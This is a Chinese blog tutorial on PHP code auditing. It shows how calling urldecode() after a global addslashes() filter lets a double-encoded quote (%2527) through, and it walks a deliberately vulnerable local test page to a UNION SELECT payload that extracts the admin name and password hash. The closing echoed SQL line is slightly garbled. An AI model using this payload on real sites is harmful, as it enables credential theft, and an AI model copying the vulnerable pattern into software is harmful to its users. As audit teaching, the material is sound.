影风博客

代码审计的艺术系列 第二篇

2019-03-23

0x01 前言

现在的WEB程序基本都有对SQL注入的全局过滤,运维人员配置PHP环境是一般会开启魔术引号GPC,即magic_quotes_gpc=On的情况下,如果输入的数据有单引号、双引号、反斜线\NULNULL字符)等字符都会被加上反斜线进行转义处理。不过GPCPHP5.4版本后就取消了,所以现在一般都用addslashes()函数来代替GPC进行过滤处理。目前用PHP开发的应用一般是MVC的框架模式进行开发,对GETPOSTCOOKIE等传递的参数通常使用addslashes()函数进行转义,并引入一个类似common.php的文件进行处理addslashes()函数对接收的参数进行过滤,尤其是单引号。处理代码如下:

common.php:

<?php
if (!empty($_GET))
{
$_GET  = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
if (!empty($_COOKIE))
{
$_COOKIE   = addslashes_deep($_COOKIE);
}
function addslashes_deep($value)
{
  if (empty($value))
  {
      return $value;
  }
  else
  {
  if (!get_magic_quotes_gpc())
  {
  $value=is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
  }
  else
  {
  $value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags($value);
  }
  return $value;
  }
}
?>

addslashes_deep函数会判断GPC是否开启,如果没有开启就会对GETPOSTCOOKIE传递的参数进行转义。然而仅仅使用这种方式会存在很多绕过的情况。接下来两篇会介绍这种防护下的存在被绕过的一些场景和案例~,这里有几篇确定好。

0x02 准备

知识储备:php基础、MySQL入门

工具:notepad++

服务器环境:wamp

测试代码:见文中

test.sql:

SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
--
-- 数据库: `test`
--
CREATE DATABASE IF NOT EXISTS `test` DEFAULT CHARACTER SET latin1 COLLATE latin1_swedish_ci;
USE `test`;
--
-- 表的结构 `admin`
--
CREATE TABLE IF NOT EXISTS `admin` (
  `uid` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `name` varchar(32) NOT NULL,
  `pass` char(32) NOT NULL,
  PRIMARY KEY (`uid`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
--
-- 转存表中的数据 `admin`
--
INSERT INTO `admin` (`uid`, `name`, `pass`) VALUES
(1, 'admin', 'e10adc3949ba59abbe56e057f20f883e');
--
-- 表的结构 `news`
--
CREATE TABLE IF NOT EXISTS `news` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `title` varchar(30) CHARACTER SET gbk NOT NULL,
  `content` varchar(256) CHARACTER SET gbk NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=3 ;
--
-- 转存表中的数据 `news`
--
INSERT INTO `news` (`id`, `title`, `content`) VALUES
(1, 'news title', 'news content'),
(2, 'title two', '1100000011111');

0x03 全局防护Bypass上篇的脑图

0x04 编码解码函数导致的Bypass

一些编码解码的函数像urldecodebase64decode的使用会导致绕过addslashes函数的全局防护,以urldecode函数为例,缺陷代码如下:

urldecode.php:

<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'braid') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$id = isset($_GET['id']) ? urldecode($_GET['id']) : 1;
$sql = "SELECT * FROM news WHERE id='{$id}'";
$result = mysql_query($sql, $conn) or die(mysql_error()); 
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>{$row['title']}</h3><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>

浏览器输入http://localhost/sqltest/urldecode.php?id=1',发现输出了一条新闻的标题和内容如下图:

说明单引号经过了addslashes函数的转义,我们查下sql查询的日志,确实是对单引号进行转义处理了:

SELECT * FROM news WHERE id='1\''

输入http://localhost/sqltest/urldecode.php?id=1%2527,发现如下图的报错:

这种报错在安全测试人员眼里就是注入的标志。进一步观察数据库,发现除了news表外还有个admin表,我们可以构造获取管理员账户密码的语句:

http://localhost/sqltest/urldecode.php?id=1%2527 union select 1,2,concat(name,0x23,pass) from admin%23

对应执行的sql语句:

SELECT  SQL_CALC_FOUND_ROWS  *  FROM news WHERE id =  '-1' union  select union select 1,2,concat(name,0x23,pass) from admin
使用支付宝打赏
使用微信打赏

若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏

扫描二维码,分享此文章